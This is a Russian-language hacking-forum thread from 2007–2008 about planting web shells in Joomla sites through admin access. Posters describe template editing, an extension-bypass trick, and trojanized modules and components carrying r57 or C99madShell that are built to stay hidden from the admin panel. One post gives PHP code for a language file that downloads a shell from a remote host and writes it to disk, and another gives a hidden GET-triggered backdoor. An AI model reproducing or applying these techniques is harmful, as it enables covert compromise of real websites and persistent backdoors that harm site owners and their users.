Заливка шелла в Joomla

Discussion in 'Веб-уязвимости' started by AkyHa_MaTaTa, 7 Dec 2007.

  1. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    У меня такой вопрос:
    Пытаюсь подлить шелл в Joomla с помошью JoomlaXplorer, и пищет что сейчас стоит режим фаил типа нужно переключится в в ftp режим:
    Current mode: file. You could switch to ftp mode.
    естествено фтп ака я не знаю, какие еще есть способы заливки шелла в Joomla?
     
    2 people like this.
  2. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    через редактирование шаблонов, через заливку медиа файлов, через заливку _своего_ компонента/темы/мамбота с шеллом, через заливку картинки с шеллом и последующим инклудом (если прокатит)
    https://forum.antichat.ru/thread39801.html

    ЗЫ для заливки компонента/темы/мамбота надо составлять xml файл, чтоб его нормально обработала джумла. берёшь его из любого компонента/темы/мамбота и редактируешь под свои нужды
     
    _________________________
    1 person likes this.
  3. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Пасибо, но через медия файлы там же фильтр стоит на расширения, а где ставить допустимые расширения я не нашол(на бразильском все(португальском), без инглиша), и инклюдов нету для картинки.
    Ладно буду пробывать через стили или шаблоны.
    Пасибо еще раз.
     
  4. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    лей через JoomXplorer в папку images. Просто на ту папку куда ты льешь не хватает прав!
     
  5. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Как?
    Current mode: file. You could switch to ftp mode.
    Я вообше ни чего не лил просто пытался запустить JoomXplorer. Права есть на всех дирах 0777.
     
    #5 AkyHa_MaTaTa, 7 Dec 2007
    Last edited: 7 Dec 2007
  6. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    wmv файлы заливаются? заливай шелл с расширением .php.wmv

    А вобще в джумле я всегда через шаблоны заливал
     
    #6 Scipio, 7 Dec 2007
    Last edited: 7 Dec 2007
  7. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Инклюдов нету, че мне потом с ним делать?
     
  8. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Вот тебе способ (как раз сегодня так шелл залил + только что на локалке проверил еще разок (на новой версии)):

    заходишь в админку Language Manager выбираешь файл который будешь редактировать, к примеру English, щелка по нему попадаешь в менюшку с редактированием в ней есть путь до файла, к примеру:

    z:/home/test1.ru/www/language/english.php

    он тебе пригодится, точнее его часть, теперь сам файл, там может быть защита от выполнения без инклуда (если защиты нет то просто дописываем пару строчек):

    PHP:
    // no direct access
    defined'_VALID_MOS' ) or die( 'Restricted access' );
    Экранируем эту строчку и дописываем подарок:

    PHP:
    if($HTTP_GET_VARS['a']==1

    $file file('http://адрес твоего сайта с шеллом/shell.txt'); 
    $file2 fopen("shell.php""w"); // здесь shell.php имя твоего шелла - который будет создан в результате работы скрипта
    for ($i 0$i count($file); $i++) 

    fputs($file2$file[$i]); 

    fclose($file2); 


    // no direct access
    //defined( '_VALID_MOS' ) or die( 'Restricted access' );
    Дальше переходим по линке:

    http://test1.ru/language/english.php?a=1

    И получаем шелл:

    http://test1.ru/language/shell.php

    P.S. можно конечно впихнуть шелл и в редактируемый файл - но палевно будет смотреться, а так залил шелл, вернул все обратно и все гуд.
     
    #8 Grey, 8 Dec 2007
    Last edited: 8 Dec 2007
    3 people like this.
  9. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    архивчик http://slil.ru/25824397
    это мой модуль шелл устанавливать как обычный модуль
    http://localhost/joomla/administrator/index2.php?option=com_installer&element=module
    шелл будет тут
    http://localhost/joomla/modules/mod_j_news.php?module=joomla
     
    #9 chekist, 25 Dec 2007
    Last edited: 24 May 2008
    2 people like this.
  10. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Блин, шелл я давно залил через шаблонны, и здесь отписался как раз перед поста Grey, но какая то редиска его удалила, но все равно сенск за помошь ВСЕМ.
     
    1 person likes this.
  11. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    не получается :(
    XML setup file is not for a "component"
    я не супер-админ, просто админ. к language manager доступа нет. что еще замутить?
     
  12. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    ты весь архив загружал ?
    >>XML setup file is not for a "component" ты пытался установить компонент а не модуль, тебе сюда administrator/index2.php?option=com_installer&element=module
    1) mod_r.zip не распаковывай так и отправляй, для установки модуля на запись должны бать доступны паки media, administrator/modules, modules
    2) установи компонент com_joomlaxplorer(http://slil.ru/25475840) это файловый менеджер, для установки компонента должны быть доступны на запись папки media, administrator/components, components, images/stories

    в двишках жомла или мамбо чтобы установить компонент или модуль они должны быть в архиве обычно zip в котором должен быть xml файл в котором и расписана вся установка

    ЗЫ. если не получится залить шелл пишы в личку
     
    #12 chekist, 15 Feb 2008
    Last edited: 15 Feb 2008
  13. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    chekist, ты походу сам не понимаешь что выкладываешь и о чем говоришь ...
    это именно МОДУЛЬ, и устанавливать его как модуль нужно! и тогда все работает. Шелл там кстати r57.

    вот еще один вариант, как по мне так получше будет.

    - устанавливается как компонент
    - внутри C99madShell
    - доступен по адресу /components/com_articles/articles.php
    [COLOR=White-[/COLOR] с админки его не видно, соответственно НЕ удаляется

    http://rapidshare.com/files/92224104/com_articles.zip.html

    тут я чуть переделал все это дело, скрестил как говорится, для меньшей палевности )))

    все то же самое, только доступен по адресу:
    /components/com_articles/articles.php?module=joomla

    так:
    /components/com_articles/articles.php
    он не заведется
     
    #13 Хозяин, 16 Feb 2008
    Last edited: 16 Feb 2008
    6 people like this.
  14. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    AciD_FreaK
    >>это именно МОДУЛЬ, и устанавливать его как модуль нужно! и тогда все работает. Шелл там кстати r57.
    а я что написал, я выкладывал модуль и устанавливать его надо как модуль, находились умники которые не знали как его устанавливать увидив архив они начинали его распаковывать

    и чем тебе не нравится r57?
     
  15. remb0

    remb0 Elder - Старейшина

    Joined:
    22 Apr 2007
    Messages:
    117
    Likes Received:
    19
    Reputations:
    0
    народ!!! можно ли както подругому залить шел через админкуджомлы ?! А то когда пробуеш через редактирование языка или установки модуля требует Логин и Пароль к Ftp!!!
     
  16. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    __https://forum.antichat.ru/showpost.php?p=593795&postcount=14
     
  17. remb0

    remb0 Elder - Старейшина

    Joined:
    22 Apr 2007
    Messages:
    117
    Likes Received:
    19
    Reputations:
    0
    сенкс , но проблема в этом

    [​IMG]
     
    #17 remb0, 24 Aug 2008
    Last edited: 24 Aug 2008
  18. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Все просто. Ты льешь старую компоненту в новую Joomla 1.5 . Лучше заливай шелл через шаблон.

    В крайнем случае можешь включить плагин для поддержки старых компонентов. :)

    если не понял - стукни в ПМ, со скринами объясню :)
     
    #18 Nek1t, 26 Aug 2008
    Last edited: 26 Aug 2008
    1 person likes this.
  19. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    Я не понимаю с чем связано, но запуская шелл постоянно получаю ошибку 500 Internal Server Error, поэтому загружаю шелл прямо в english.php, который вызывается с определенными параметрами в GET-запросе:

    if ($_GET['xek']=='ontechad'){
    // r57
    }

    www.site.com/language/english.php?xek=ontechad
     
  20. omel

    omel Elder - Старейшина

    Joined:
    26 Jun 2007
    Messages:
    21
    Likes Received:
    1
    Reputations:
    0
    Есть админка. как залить шел если только в этих папках стоят права на запись ?
    images/ Доступен для записи
    Каталог кешa /usr/home/***/www/www.*.ua/cache/ Доступен для записи
    media/ Доступен для записи
    На хосте стоит joomlaXplorer (1,6,2). через него не идет залить шел так как он хочет переключиться в фтп моде. Версия джумлы 1,0,13